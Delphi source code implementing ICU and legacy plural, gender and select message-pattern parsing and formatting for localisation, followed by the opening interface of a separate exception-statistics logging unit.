if thisStartPattern <> '' then
begin
patterns[i] := str;
{$IFDEF UNICODE}
parameters[i].VType := vtUnicodeString;
parameters[i].VUnicodeString := Pointer(patterns[i]);
{$ELSE}
parameters[i].VType := vtWideString;
parameters[i].VWideString := Pointer(patterns[i]);
{$ENDIF}
end
else
Result := Result + str;
end;
if thisStartPattern <> '' then
begin
if Pos('{0}', thisStartPattern) > 0 then
begin
for i := 0 to Length(patterns) - 1 do
begin
placeholder := Format('{%d}', [i]);
p := Pos(placeholder, thisStartPattern);
if p > 0 then
begin
Delete(thisStartPattern, p, Length(placeholder));
Insert('%s', thisStartPattern, p);
end;
end;
end;
Result := SysUtils.Format(thisStartPattern, parameters);
end;
end;
function Legacy: String;
procedure Add(const value: String);
var
i: Integer;
c: Char;
begin
if Result <> '' then
Result := Result + ';';
if Pos(';', value) > 0 then
begin
for i := 1 to Length(value) do
begin
c := value[i];
Result := Result + c;
if c = ';' then
Result := Result + c;
end;
end
else
Result := Result + value;
end;
var
i, j: Integer;
parameter: TFormatPart;
pattern: TPattern;
begin
Result := StartPattern;
for i := 0 to Count - 1 do
begin
parameter := Items[i];
for j := 0 to parameter.Count - 1 do
begin
pattern := parameter[j];
Add(pattern.ToString);
Add(pattern.Value);
end;
if i < Count - 1 then
Add(NEXT_C);
end;
end;
begin
if Syntax = fsIcu then
Result := Icu
else
Result := Legacy
end;
function IsIcuPattern(const pattern: String): Boolean;
function HasTags: Boolean;
begin
Result :=
(Pos('plural,', pattern) > 1) or
(Pos('gender,', pattern) > 1) or
(Pos('select,', pattern) > 1)
end;
var
i, level, maxLevel: Integer;
c: Char;
begin
Result := (Pos('{', pattern) > 0) and (Pos('}', pattern) > 0);
if not Result then
Exit;
level := 0;
maxLevel := 0;
Result := False;
for i := 1 to Length(pattern) do
begin
c := pattern[i];
if (c = '{') and ((i = 1) or (pattern[i - 1] <> '\')) then
Inc(level)
else if (c = '}') and ((i = 1) or (pattern[i - 1] <> '\')) then
Dec(level);
if level > maxLevel then
maxLevel := level;
if level < 0 then
Exit;
end;
Result := (maxLevel >= 2) and (maxLevel <= 4) and (level = 0) and HasTags;
end;
function IsIcuPatternStart(const pattern: String): Boolean;
var
i, level, maxLevel: Integer;
c: Char;
begin
Result := pattern[1] = '{';
if not Result then
Exit;
level := 0;
maxLevel := 0;
for i := 1 to Length(pattern) do
begin
c := pattern[i];
if (c = '{') and ((i = 1) or (pattern[i - 1] <> '\')) then
Inc(level)
else if (c = '}') and ((i = 1) or (pattern[i - 1] <> '\')) then
Dec(level);
if level > maxLevel then
maxLevel := level;
if level = 0 then
Break;
end;
Result := (maxLevel >= 2) and (maxLevel <= 4) and (level = 0);
end;
function IsLegacyPattern(const pattern: String): Boolean;
begin
Result := Pos(';', pattern) > 0;
end;
function IsLegacyPatternStrict(const pattern: String): Boolean;
function Check(codes: array of String): Boolean;
var
i: Integer;
code: String;
begin
// other;...
// male;...
for i := 0 to Length(codes) - 1 do
begin
code := codes[i];
if Pos(code + ';', pattern) > 0 then
begin
Result := True;
Exit;
end;
end;
Result := False;
end;
function CheckNumber(codes: array of String): Boolean;
var
i, j: Integer;
code: String;
begin
// =1;...
for i := 0 to Length(codes) - 1 do
begin
code := codes[i];
for j := 0 to 9 do
begin
if Pos(code + IntToStr(j) + ';', pattern) > 0 then
begin
Result := True;
Exit;
end;
end;
end;
Result := False;
end;
begin
Result := Check(PLURAL_DATAS_C) or Check(GENDER_DATAS_C) or CheckNumber(OPERATORS_C);
end;
class function TFormatString.IsPattern(const pattern: String): Boolean;
begin
Result := IsMultiPattern(pattern);
end;
class function TFormatString.IsMultiPattern(const pattern: String): Boolean;
var
str: TFormatString;
begin
Result := False;
if Pos('{\rtf1', pattern) = 1 then
Exit;
Result := IsIcuPattern(pattern); // or IsLegacyPatternStrict(pattern);
if not Result then
Exit;
str := TFormatString.Create;
try
try
str.ParsePattern(pattern);
except
Result := False;
end;
finally
str.Free;
end;
end;
procedure TFormatString.ParsePattern(const pattern: String);
begin
if not ParseIcu(pattern) then
begin
Clear;
if not ParseLegacy(pattern) then
raise Exception(Format('"%s" is not a valid pattern string', [pattern]));
end;
end;
procedure SkipWhiteSpaces(const pattern: String; var index: Integer);
begin
while (index <= Length(pattern)) and (pattern[index] = ' ') do
Inc(index);
end;
function GetIcuToken(const pattern: String; var index: Integer): String;
var
c: Char;
begin
Result := '';
while index <= Length(pattern) do
begin
c := pattern[index];
if (c = ' ') or (c = ',') then
begin
Inc(index);
Break;
end
else if (c = '{') then
Break;
Result := Result + c;
Inc(index);
end;
SkipWhiteSpaces(pattern, index);
end;
function GetIcuPart(const pattern: String; var index: Integer): String;
var
braces: Integer;
c: Char;
begin
Inc(index);
braces := 1;
Result := '';
while (index <= Length(pattern)) and (braces > 0) do
begin
c := pattern[index];
if c = '{' then
Inc(braces)
else if c = '}' then
Dec(braces);
if braces = 0 then
Break;
if c = '\' then
begin
Inc(index);
c := pattern[index];
end;
Result := Result + c;
Inc(index);
end;
Inc(index);
SkipWhiteSpaces(pattern, index);
end;
function TFormatString.ParseIcuPattern(const pattern: String; var index: Integer): Boolean;
var
name, str: String;
operand, operand2: Integer;
operatorKind: TOperatorKind;
parameter: TFormatPart;
begin
Result := False;
// {plural one {%d file} other {%d files}}
// {plural one {{0} file} other {{0} files}}
// {file, plural one {{file} file} other {{file} files}}
if pattern[index] <> '{' then
Exit;
parameter := AddParameter();
Inc(index);
parameter.Name := GetIcuToken(pattern, index);
parameter.ParameterType := GetIcuToken(pattern, index);
while index <= Length(pattern) do
begin
if pattern[index] = '}' then
Break;
if pattern[index] = '{' then
begin
name := parameter.ParameterType;
parameter.ParameterType := parameter.Name;
parameter.Name := '';
end
else
name := GetIcuToken(pattern, index);
str := GetIcuPart(pattern, index);
if SameText(parameter.ParameterType, 'plural') then
begin
if TMultiPattern.IsPlural(name) then
parameter.Add(str, TMultiPattern.StringToPlural(name))
else
begin
operand := TMultiPattern.StringToOperator(name, operatorKind, operand2);
parameter.Add(str, operatorKind, operand, operand2);
end;
end
else if SameText(parameter.ParameterType, 'gender') then
parameter.Add(str, TMultiPattern.StringToGender(name))
else
parameter.Add(str, name);
end;
Inc(index);
Result := True;
end;
function TFormatString.ParseIcu(pattern: String): Boolean;
function IsIcuStart(index: Integer): Boolean;
var
c: Char;
begin
c := pattern[index];
if c <> '{' then
Result := False
else
Result := IsIcuPatternStart(Copy(pattern, index, Length(pattern)));
end;
var
index, placeholderIndex: Integer;
c: Char;
str, thisStartPattern, placeholder: String;
begin //FI:C101
Result := IsIcuPattern(pattern);
if not Result then
Exit;
if Escape = ieReact then
begin
str := '';
index := 1;
while index <= Length(pattern) do
begin
c := pattern[index];
if c = '\' then
Inc(index);
str := str + c;
Inc(index);
end;
pattern := str;
end;
// {file, plural one {{0} file} other {{0} files}}
// I have {file, plural one {{0} file} other {{0} files}.}
thisStartPattern := '';
placeholder := '';
placeholderIndex := 0;
index := 1;
while index <= Length(pattern) do
begin
c := pattern[index];
if IsIcuStart(index) then
begin
ParseIcuPattern(pattern, index);
case PlaceholderKind of
pkPrintf: placeholder := Format('%%%d:s', [placeholderIndex]);
pkDoubleBrace: placeholder := Format('{{%d}}', [placeholderIndex]);
pkSingleBrace: placeholder := Format('{%d}', [placeholderIndex]);
pkHashtag: placeholder := '#';
else
placeholder := Format('{%d}', [placeholderIndex]);
end;
Inc(placeholderIndex);
if thisStartPattern <> '' then
begin
thisStartPattern := thisStartPattern + placeholder;
placeholder := '';
end;
Continue;
end
else if c = '\' then
begin
Inc(index);
c := pattern[index];
thisStartPattern := thisStartPattern + c;
end
else
begin
if placeholder <> '' then
begin
thisStartPattern := thisStartPattern + placeholder;
placeholder := '';
end;
thisStartPattern := thisStartPattern + c;
end;
Inc(index);
end;
Self.StartPattern := thisStartPattern;
FSyntax := fsIcu;
Result := True;
end;
function TFormatString.ParseLegacy(pattern: String): Boolean; //FI:C103
var
c: Char;
str, pluralStr, operatorStr, genderStr, selectStr: String;
parameter: TFormatPart;
operatorKind: TOperatorKind;
operand, operand2: Integer;
begin //FI:C101
Result := IsLegacyPattern(pattern);
if not Result then
Exit;
// code1;value1[;code2;value2;][;]...
pluralStr := '';
operatorStr := '';
genderStr := '';
selectStr := '';
parameter := AddParameter;
repeat
str := '';
while pattern <> '' do
begin
c := pattern[1];
if c = ';' then
begin
Delete(pattern, 1, 1);
if pattern = '' then
Break;
c := pattern[1];
if c <> ';' then
Break;
end;
str := str + c;
Delete(pattern, 1, 1);
end;
if str = NEXT_C then
begin
// New parameter
parameter := AddParameter;
end
else if pluralStr <> '' then
begin
parameter.Add(str, TMultiPattern.StringToPlural(pluralStr));
pluralStr := '';
end
else if operatorStr <> '' then
begin
operand := TMultiPattern.StringToOperator(operatorStr, operatorKind, operand2);
parameter.Add(str, operatorKind, operand, operand2);
operatorStr := '';
end
else if genderStr <> '' then
begin
parameter.Add(str, TMultiPattern.StringToGender(genderStr));
genderStr := '';
end
else if selectStr <> '' then
begin
parameter.Add(str, selectStr);
selectStr := '';
end
else if (selectStr = '') and (Count = 1) and (Pos('%', str) > 0) and (FStartPattern <> '') then
begin
selectStr := FStartPattern;
FStartPattern := '';
parameter.Add(str, selectStr);
selectStr := '';
end
else if TMultiPattern.IsOther(str) then
begin
if parameter.FindGender <> nil then
genderStr := str
else
pluralStr := str
end
else if TMultiPattern.IsPlural(str) then
pluralStr := str
else if TMultiPattern.IsOperator(str) then
operatorStr := str
else if TMultiPattern.IsGender(str) then
genderStr := str
else if (FStartPattern <> '') or (parameter.Count > 0) then
selectStr := str
else
FStartPattern := str;
until pattern = '';
FSyntax := fsLegacy;
end;
// TMultiPattern
class function TMultiPattern.GetProc: TPluralProc;
begin
Result := TPluralInfo.Get.Proc;
end;
class function TMultiPattern.GetProc(const id: String): TPluralProc;
begin
Result := TPluralInfo.Get(id).Proc;
end;
class function TMultiPattern.IsLanguageInArray(const language: String; languages: array of String): Boolean;
var
i: Integer;
begin
for i := Low(languages) to High(languages) do
begin
Result := languages[i] = language;
if Result then
Exit;
end;
Result := False;
end;
class function TMultiPattern.GetPlural(count: Integer): TPlural;
var
proc: TPluralProc;
begin
proc := TMultiPattern.GetProc();
Result := proc(count, count, 0, 0, 0, 0);
end;
{
class function TMultiPattern.GetMatchingPlural(count: Integer; const format: String): TPlural;
var
custom: TPlural;
begin
GetMatchingPlural(count, format, Result, custom);
end;
}
class procedure TMultiPattern.GetMatchingPlural(
count: Integer;
const format: String;
var plural, customPlural: TPlural);
var
str: TFormatString;
begin
str := TFormatString.Create;
try
str.ParsePattern(format);
plural := GetPlural(count);
if (plural = pfOther) and (count = 0) and str.Exists(pfZero) then
customPlural := pfZero
else if (plural = pfOther) and (count = 1) and str.Exists(pfOne) then
customPlural := pfOne
else if (plural = pfOther) and (count = 2) and str.Exists(pfTwo) then
customPlural := pfTwo
else
customPlural := plural;
finally
str.Free;
end;
end;
class function TMultiPattern.IsSingleFormLanguage(const locale: String): Boolean;
begin
Result := @TMultiPattern.GetProc(locale) = @GetSinglePlural;
end;
class function TMultiPattern.IsZeroLikeOne(const locale: String = ''): Boolean;
var
proc: TPluralProc;
begin
proc := TMultiPattern.GetProc(locale);
Result := proc(0, 0, 0, 0, 0, 0) = pfOne;
end;
class function TMultiPattern.GetPattern(const patterns: String; count: Integer): String;
var
startPattern: String;
begin
Result := GetPattern(patterns, count, startPattern);
end;
class function TMultiPattern.GetPattern(
const patterns: String;
count: Integer;
var startPattern: String): String;
var
str: TFormatString;
plural: TPlural;
pattern: TOperatorPattern;
begin
str := TFormatString.Create;
try
str.PlaceholderKind := pkPrintf;
str.ParsePattern(patterns);
startPattern := str.StartPattern;
plural := GetPlural(count);
// Check operator patterns first (=n, >n, etc)
pattern := str[0].FindOperator(count);
if pattern <> nil then
begin
Result := pattern.Value;
Exit;
end;
// zero, one or two
Result := str.MatchingValues[count];
if Result <> '' then
Exit;
// plural
Result := str.PluralValues[plural];
if Result <> '' then
Exit;
Result := str.Items[0].FirstValue;
finally
str.Free;
end;
end;
class function TMultiPattern.GetPlurals(usage: TPluralUsage): TPlurals;
begin
if usage = puInteger then
Result := TPluralInfo.Get.IntegerPlurals
else
Result := TPluralInfo.Get.DecimalPlurals;
end;
class function TMultiPattern.GetPattern(const patterns: String; gender: TGender): String;
var
startPattern: String;
begin
Result := GetPattern(patterns, gender, startPattern);
end;
class function TMultiPattern.GetPattern(
const patterns: String;
gender: TGender;
var startPattern: String): String;
var
str: TFormatString;
begin
str := TFormatString.Create;
try
str.ParsePattern(patterns);
startPattern := str.StartPattern;
Result := str.GenderValues[gender];
if Result = '' then
Result := str[0].OtherValue;
if Result = '' then
Result := str[0].FirstValue;
finally
str.Free;
end;
end;
class function TMultiPattern.GetPattern(const patterns: String; const select: String): String;
var
startPattern: String;
begin
Result := GetPattern(patterns, select, startPattern);
end;
class function TMultiPattern.GetPattern(
const patterns: String;
const select: String;
var startPattern: String): String;
var
str: TFormatString;
begin
str := TFormatString.Create;
try
str.ParsePattern(patterns);
startPattern := str.StartPattern;
Result := str.SelectValues[select];
if Result = '' then
Result := str[0].FirstValue;
finally
str.Free;
end;
end;
class function TMultiPattern.GetGender(const patterns: String; gender: TGender): TGender;
var
i: Integer;
str: TFormatString;
pattern: TPattern;
parameter: TFormatPart;
begin
str := TFormatString.Create;
try
str.ParsePattern(patterns);
if str.Exists(gender) then
Result := gender
else
begin
parameter := str[0];
for i := 0 to parameter.Count - 1 do
begin
pattern := parameter[i];
if pattern is TGenderPattern then
begin
Result := TGenderPattern(pattern).Gender;
Exit;
end;
end;
Result := geNeutral;
end;
finally
str.Free;
end;
end;
class function TMultiPattern.Format(
const pattern: String;
count: Integer;
const args: array of const): String;
var
startPattern: String;
begin
Result := SysUtils.Format(GetPattern(pattern, count, startPattern), args);
if startPattern <> '' then
Result := SysUtils.Format(startPattern, [Result]);
end;
class function TMultiPattern.Format(
const pattern: String;
gender: TGender;
const args: array of const): String;
var
startPattern: String;
begin
Result := SysUtils.Format(GetPattern(pattern, gender, startPattern), args);
if startPattern <> '' then
Result := SysUtils.Format(startPattern, [Result]);
end;
class function TMultiPattern.Format(
const pattern: String;
const select: String;
const args: array of const): String;
var
startPattern: String;
begin
Result := SysUtils.Format(GetPattern(pattern, select, startPattern), args);
if startPattern <> '' then
Result := SysUtils.Format(startPattern, [Result]);
end;
class function TMultiPattern.Format(
const pattern: String;
count: Integer): String;
begin
Result := TMultiPattern.Format(pattern, count, [count]);
end;
class procedure TMultiPattern.GetNumber(
const pattern: String;
count: Integer;
var kind: TFormatParameterKind;
var plural: TPlural;
var operatorKind: TOperatorKind;
var operand, operand2: Integer);
var
thisPattern: String;
str: TFormatString;
part: TFormatPart;
begin
str := TFormatString.Create;
try
str.ParsePattern(pattern);
part := str.Items[0];
plural := GetPlural(count);
thisPattern := part.GetPluralPattern(plural, count);
kind := part.UsedKind;
plural := part.UsedPlural;
operatorKind := part.UsedOperator;
operand := part.UsedOperand;
operand2 := part.UsedOperand2;
finally
str.Free;
end;
end;
class function TMultiPattern.Format( //FI:C103
const pattern: String;
const counts: array of const): String;
var
i, count: Integer;
thisPattern: String;
plural: TPlural;
str: TFormatString;
startPatternParameters: array of String;
thisArgs, startPatternArgs: array of TVarRec;
part: TFormatPart;
begin //FI:C101
str := TFormatString.Create;
try
str.ParsePattern(pattern);
count := Length(counts);
if count <> str.Count then
raise Exception.CreateFmt('Pattern "%s" does not have enough patterns for %d parameter', [pattern, count]);
if (str.Syntax = fsIcu) and (str.StartPattern <> '') then
begin
// ICU with top level pattern
SetLength(startPatternArgs, count);
SetLength(startPatternParameters, count);
for i := 0 to str.Count - 1 do
begin
part := str.Items[i];
count := counts[i].VInteger;
plural := GetPlural(count);
thisPattern := part.GetPluralPattern(plural, count);
SetLength(thisArgs, 1);
thisArgs[0] := counts[i];
startPatternParameters[i] := SysUtils.Format(thisPattern, thisArgs);
{$IFDEF UNICODE}
startPatternArgs[i].VType := vtUnicodeString;
startPatternArgs[i].VUnicodeString := Pointer(startPatternParameters[i]);
{$ELSE}
startPatternArgs[i].VType := vtWideString;
startPatternArgs[i].VWideString := Pointer(startPatternParameters[i]);
{$ENDIF}
end;
Result := SysUtils.Format(str.StartPattern, startPatternArgs);
end
else
begin
// Legacy or ICU without top level pattern
Result := '';
for i := str.Count - 1 downto 0 do
begin
part := str.Items[i];
count := counts[i].VInteger;
plural := GetPlural(count);
thisPattern := part.GetPluralPattern(plural, count);
if i = str.Count - 1 then
begin
SetLength(thisArgs, 1);
thisArgs[0] := counts[i];
end
else
begin
SetLength(thisArgs, 2);
thisArgs[0] := counts[i];
{$IFDEF UNICODE}
thisArgs[1].VType := vtUnicodeString;
thisArgs[1].VUnicodeString := Pointer(Result);
{$ELSE}
thisArgs[1].VType := vtWideString;
thisArgs[1].VWideString := Pointer(Result);
{$ENDIF}
end;
end;
Result := SysUtils.Format(thisPattern, thisArgs);
if str.StartPattern <> '' then
Result := SysUtils.Format(str.StartPattern, [Result]);
end;
finally
str.Free;
end;
end;
class function TMultiPattern.FormatMulti( //FI:C103
const pattern: String;
const args: array of TFormatParameter): String;
var
i, count: Integer;
thisPattern, value: String;
plural: TPlural;
str: TFormatString;
arg: TFormatParameter;
parameters: array of String;
thisArgs, parameterArgs: array of TVarRec;
begin //FI:C101
str := TFormatString.Create;
try
str.ParsePattern(pattern);
count := Length(args);
if count <> str.Count then
raise Exception.CreateFmt('Pattern "%s" does not have enough patterns for %d parameter', [pattern, count]);
if (str.Syntax = fsIcu) and (str.StartPattern <> '') then
begin
// ICU with top level pattern
SetLength(parameters, str.Count);
SetLength(parameterArgs, str.Count);
for i := 0 to str.Count - 1 do
begin
arg := args[i];
case arg.Kind of
fpPlural,
fpOperator:
begin
plural := GetPlural(arg.Plural);
thisPattern := str.Items[i].GetPluralPattern(plural, arg.Plural);
SetLength(thisArgs, 1);
thisArgs[0].VType := vtInteger;
thisArgs[0].VInteger := arg.Plural;
end;
fpGender:
begin
thisPattern := str.Items[i].GetGenderPattern(arg.Gender);
value := arg.Value;
SetLength(thisArgs, 1);
{$IFDEF UNICODE}
thisArgs[0].VType := vtUnicodeString;
thisArgs[0].VUnicodeString := Pointer(value);
{$ELSE}
thisArgs[0].VType := vtWideString;
thisArgs[0].VWideString := Pointer(value);
{$ENDIF}
end;
fpSelect:
begin
end;
end;
parameters[i] := SysUtils.Format(thisPattern, thisArgs);
{$IFDEF UNICODE}
parameterArgs[i].VType := vtUnicodeString;
parameterArgs[i].VUnicodeString := Pointer(parameters[i]);
{$ELSE}
parameterArgs[i].VType := vtWideString;
parameterArgs[i].VWideString := Pointer(parameters[i]);
{$ENDIF}
end;
Result := SysUtils.Format(str.StartPattern, parameterArgs);
end
else
begin
// Legacy or ICU without top level pattern
Result := '';
for i := str.Count - 1 downto 0 do
begin
arg := args[i];
case arg.Kind of
fpPlural,
fpOperator:
begin
plural := GetPlural(arg.Plural);
thisPattern := str.Items[i].GetPluralPattern(plural, arg.Plural);
if i = str.Count - 1 then
begin
SetLength(thisArgs, 1);
thisArgs[0].VType := vtInteger;
thisArgs[0].VInteger := arg.Plural;
end
else
begin
SetLength(thisArgs, 2);
thisArgs[0].VType := vtInteger;
thisArgs[0].VInteger := arg.Plural;
{$IFDEF UNICODE}
thisArgs[1].VType := vtUnicodeString;
thisArgs[1].VUnicodeString := Pointer(Result);
{$ELSE}
thisArgs[1].VType := vtWideString;
thisArgs[1].VWideString := Pointer(Result);
{$ENDIF}
end;
end;
fpGender:
begin
thisPattern := str.Items[i].GetGenderPattern(arg.Gender);
value := arg.Value;
if i = str.Count - 1 then
begin
SetLength(thisArgs, 1);
{$IFDEF UNICODE}
thisArgs[0].VType := vtUnicodeString;
thisArgs[0].VUnicodeString := Pointer(value);
{$ELSE}
thisArgs[0].VType := vtWideString;
thisArgs[0].VWideString := Pointer(value);
{$ENDIF}
end
else
begin
SetLength(thisArgs, 2);
{$IFDEF UNICODE}
thisArgs[0].VType := vtUnicodeString;
thisArgs[0].VUnicodeString := Pointer(value);
thisArgs[1].VType := vtUnicodeString;
thisArgs[1].VUnicodeString := Pointer(Result);
{$ELSE}
thisArgs[0].VType := vtWideString;
thisArgs[0].VWideString := Pointer(value);
thisArgs[1].VType := vtWideString;
thisArgs[1].VWideString := Pointer(Result);
{$ENDIF}
end;
end;
fpSelect:
begin
end;
end;
Result := SysUtils.Format(thisPattern, thisArgs);
end;
if str.StartPattern <> '' then
Result := SysUtils.Format(str.StartPattern, [Result]);
end;
finally
str.Free;
end;
end;
class function TMultiPattern.IsNumber(const value: String): Boolean;
begin
Result := IsPlural(value) or IsOperator(value);
end;
class function TMultiPattern.IsPlural(const value: String): Boolean;
var
plural: TPlural;
begin
Result := TryStringToPlural(value, plural);
end;
class function TMultiPattern.IsOperator(const value: String): Boolean;
var
kind: TOperatorKind;
operand, operand2: Integer;
begin
Result := TryStringToOperator(value, kind, operand, operand2);
end;
class function TMultiPattern.IsGender(const value: String): Boolean;
var
gender: TGender;
begin
Result := TryStringToGender(value, gender);
end;
class function TMultiPattern.IsOther(const value: String): Boolean;
begin
Result := value = OTHER_C;
end;
class function TMultiPattern.IsNeutral(const value: String): Boolean;
begin
Result := (value = OTHER_C) or (value = NEUTRAL_C);
end;
class function TMultiPattern.StringToPlural(const value: String): TPlural;
begin
if not TryStringToPlural(value, Result) then
raise Exception.CreateFmt('Invalid plural value: %s', [value]);
end;
class function TMultiPattern.StringToOperator(const value: String; out kind: TOperatorKind; out operand2: Integer): Integer;
begin
if not TryStringToOperator(value, kind, Result, operand2) then
raise Exception.CreateFmt('Invalid oprator value: %s', [value]);
end;
class function TMultiPattern.StringToOperator(const value: String; out kind: TOperatorKind): Integer;
var
operand2: Integer;
begin
if not TryStringToOperator(value, kind, Result, operand2) then
raise Exception.CreateFmt('Invalid oprator value: %s', [value]);
end;
class function TMultiPattern.StringToGender(const value: String): TGender;
begin
if not TryStringToGender(value, Result) then
raise Exception.CreateFmt('Invalid gender value: %s', [value]);
end;
class function TMultiPattern.TryStringToPlural(const value: String; out plural: TPlural): Boolean;
var
i: TPlural;
begin
// zero, one, two, few, many, other
for i := Low(i) to High(i) do
begin
Result := SameText(value, PLURAL_DATAS_C[i]);
if Result then
begin
plural := i;
Exit;
end
end;
Result := False;
end;
class function TMultiPattern.TryStringToOperator(value: String; out kind: TOperatorKind; out operand, operand2: Integer): Boolean;
function IsNumber(const value: String): Boolean;
var
i: Integer;
c: Char;
begin
for i := 1 to Length(value) do
begin
c := value[i];
Result := (c >= '0') and (c <= '9');
if not Result then
Exit;
end;
Result := value <> '';
end;
var
p: Integer;
begin
p := Pos('..', value);
if p > 1 then
begin
operand := StrToIntDef(Copy(value, 1, p - 1), 0);
operand2 := StrToIntDef(Copy(value, p + 2, Length(value)), 0);
kind := okRange;
Result := True;
end
else if (Pos('<=', value) = 1) or (Pos('>=', value) = 1) then
begin
// >=0, <=1, <=2, ...
if Pos('<=', value) = 1 then
kind := okLessOrEqual
else if Pos('>=', value) = 1 then
kind := okGreaterOrEqual;
Delete(value, 1, 2);
operand := StrToIntDef(value, 0);
Result := True;
end
{$IFDEF UNICODE}
else if (value <> '') and CharInSet(value[1], ['=', '~', '<', '>']) then
{$ELSE}
else if (value <> '') and (value[1] in ['=', '~', '<', '>']) then
{$ENDIF}
begin
// =0, =1, =2, ...
case value[1] of
'=': kind := okEqual;
'~': kind := okAround;
'<': kind := okLess;
'>': kind := okGreater;
end;
Delete(value, 1, 1);
operand := StrToIntDef(value, 0);
Result := True;
end
else if (value <> '') and IsNumber(value) then
begin
kind := okEqual;
operand := StrToIntDef(value, 0);
Result := True;
end
else
Result := False;
end;
class function TMultiPattern.TryStringToGender(const value: String; out gender: TGender): Boolean;
const
NEUTRAL_C = 'neutral';
var
i: TGender;
begin
// For backward compability
if SameText(value, NEUTRAL_C) or SameText(value, NEUTRAL_C[1]) then
begin
gender := geNeutral;
Result := True;
Exit;
end;
// male, m, female, f, other, o
for i := Low(i) to High(i) do
begin
Result := SameText(value, GENDER_DATAS_C[i]) or SameText(value, GENDER_DATAS_C[i][1]);
if Result then
begin
gender := i;
Exit;
end
end;
gender := geNeutral;
Result := False;
end;
class function TMultiPattern.PluralToString(value: TPlural): String;
begin
Result := PLURAL_DATAS_C[value]
end;
class function TMultiPattern.OperatorToString(kind: TOperatorKind; operand, operand2: Integer): String;
begin
if kind = okRange then
Result := IntToStr(operand) + OPERATORS_C[kind] + IntToStr(operand2)
else
Result := OPERATORS_C[kind] + IntToStr(operand)
end;
class function TMultiPattern.GenderToString(value: TGender): String;
begin
Result := GENDER_DATAS_C[value]
end;
class function TMultiPattern.SelectToString(const value: String): String;
begin
Result := value
end;
class function TMultiPattern.GetPluralName(plural: TPlural): String;
resourcestring
SZero = 'Nullar';
SOne = 'Singular';
STwo = 'Dual';
SFew = 'Few';
SMany = 'Many';
SPlural = 'Plural';
begin
case plural of
pfZero: Result := SZero;
pfOne: Result := SOne;
pfTwo: Result := STwo;
pfFew: Result := SFew;
pfMany: Result := SMany;
else
Result := SPlural;
end;
end;
class function TMultiPattern.GetGenderName(gender: TGender): String;
resourcestring
SMale = 'Male';
SFemale = 'Female';
SNeutral = 'Neutral';
begin
case gender of
geMale: Result := SMale;
geFemale: Result := SFemale;
else
Result := SNeutral;
end;
end;
function GetDefaultPlural(n: Double; i: Integer; v: Integer; w: Integer; f: Integer; t: Integer): TPlural; //FI:O804
begin
if i = 1 then
Result := pfOne
else
Result := pfOther
end;
function CheckInfo(const id: String): TPluralInfo;
var
index: Integer;
begin
if FDatas = nil then
begin
FDatas := TStringList.Create;
FDatas.Sorted := True;
TMultiPattern.Register('', GetDefaultPlural);
TMultiPattern.Register('', [pfOne, pfOther], [pfOne, pfOther], '(n == 1) ? 0 : 1');
end;
index := FDatas.IndexOf(id);
if index >= 0 then
Result := FDatas.Objects[index] as TPluralInfo
else
begin
Result := TPluralInfo.Create;
Result.Id := id;
FDatas.AddObject(id, Result);
end;
end;
class procedure TMultiPattern.Register(const id: String; proc: TPluralProc);
begin
CheckInfo(id).Proc := proc;
end;
class procedure TMultiPattern.Register(const id: String; integerPlurals, decimalPlurals: TPlurals; const expression: String);
var
data: TPluralInfo;
begin
data := CheckInfo(id);
data.IntegerPlurals := integerPlurals;
data.DecimalPlurals := decimalPlurals;
data.Expression := expression;
end;
// TPluralInfo
constructor TPluralInfo.Create;
begin
inherited;
FDefaultInteger := pfOther;
FDefaultDecimal := pfOther;
end;
function GetCount(plurals: TPlurals): Integer;
var
p: TPlural;
begin
Result := 0;
for p := Low(p) to High(p) do
if p in plurals then
Inc(Result);
end;
function GetPlural(plurals: TPlurals; i: Integer): TPlural;
var
index: Integer;
begin
index := -1;
for Result := Low(Result) to High(Result) do
if Result in plurals then
begin
Inc(index);
if index = i then
Exit;
end;
Result := pfOther;
end;
function TPluralInfo.GetInteger(i: Integer): TPlural;
begin
Result := GetPlural(IntegerPlurals, i);
end;
function TPluralInfo.GetDecimal(i: Integer): TPlural;
begin
Result := GetPlural(DecimalPlurals, i);
end;
procedure TPluralInfo.SetIntegerPlurals(value: TPlurals);
begin
FIntegerPlurals := value;
FIntegerCount := GetCount(FIntegerPlurals);
FDefaultInteger := Integers[IntegerCount - 1];
end;
procedure TPluralInfo.SetDecimalPlurals(value: TPlurals);
begin
FDecimalPlurals := value;
FDecimalCount := GetCount(FDecimalPlurals);
FDefaultDecimal := Decimals[DecimalCount - 1];
end;
class function TPluralInfo.Get(id: String = ''): TPluralInfo;
var
index: Integer;
language, country, variant: String;
begin
if id = '' then
id := TNtBase.GetActiveLocale;
index := FDatas.IndexOf(id);
if index = -1 then
begin
TNtBase.ParseLocaleString(id, language, country, variant);
index := FDatas.IndexOf(language);
if index = -1 then
index := FDatas.IndexOf('');
if index = -1 then
index := FDatas.IndexOf('en');
if index = -1 then
index := 0;
end;
Result := FDatas.Objects[index] as TPluralInfo;
end;
class function TPluralInfo.Find(const id: String): TPluralInfo;
var
index: Integer;
begin
index := FDatas.IndexOf(id);
if index >= 0 then
Result := FDatas.Objects[index] as TPluralInfo
else
Result := nil;
end;
initialization
OperatorDelta := 1;
RaiseExceptionOnInvalidPattern := False;
finalization
while FDatas.Count > 0 do
begin
FDatas.Objects[0].Free;
FDatas.Delete(0);
end;
FDatas.Free;
end.
|
unit WcExceptions;
{ Exception/warning logging routines for complicated cases where you have lots
of parsing and lots of exceptions }
//{$DEFINE JCLDEBUG}
{ Use JclDebug to add stack traces where appropriate. Requires detailed map file. }
interface
uses SysUtils, Generics.Defaults, Generics.Collections{$IFDEF JCLDEBUG}, JclDebug{$ENDIF};
{
Raise exceptions, catch them and pass to RegisterExeception.
At the end of the app call Print() to get:
EThisException:
Message 1 213
Message 2 7
EThatException
Message 4 711
}
type
TExceptionStatRecord = record
_type: TClass;
msg: string;
count: integer;
end;
PExceptionStatRecord = ^TExceptionStatRecord;
TExceptionStats = class(TList<PExceptionStatRecord>)
protected
function AddNew(E: Exception): PExceptionStatRecord; overload;
function Find(E: Exception): PExceptionStatRecord; overload;
function AddNew(E: TClass; Msg: string): PExceptionStatRecord; overload;
function Find(E: TClass; Msg: string): PExceptionStatRecord; overload;
procedure Notify(const Item: PExceptionStatRecord; Action: TCollectionNotification); override;
protected
function CountTotal: integer;
function CountTypeTotal(AType: TClass; idx: integer = 0): integer;
public
procedure RegisterException(E: Exception);
procedure RegisterWarning(AText: string);
procedure PrintStats;
end;
{ Default instance, but you may create private ones if you need granularity }
var
ExceptionStats: TExceptionStats;
{ Shortcut functions }
procedure Warning(const msg: string); overload;
procedure Check(ACondition: boolean; const AErrorText: string = ''); overload; inline;
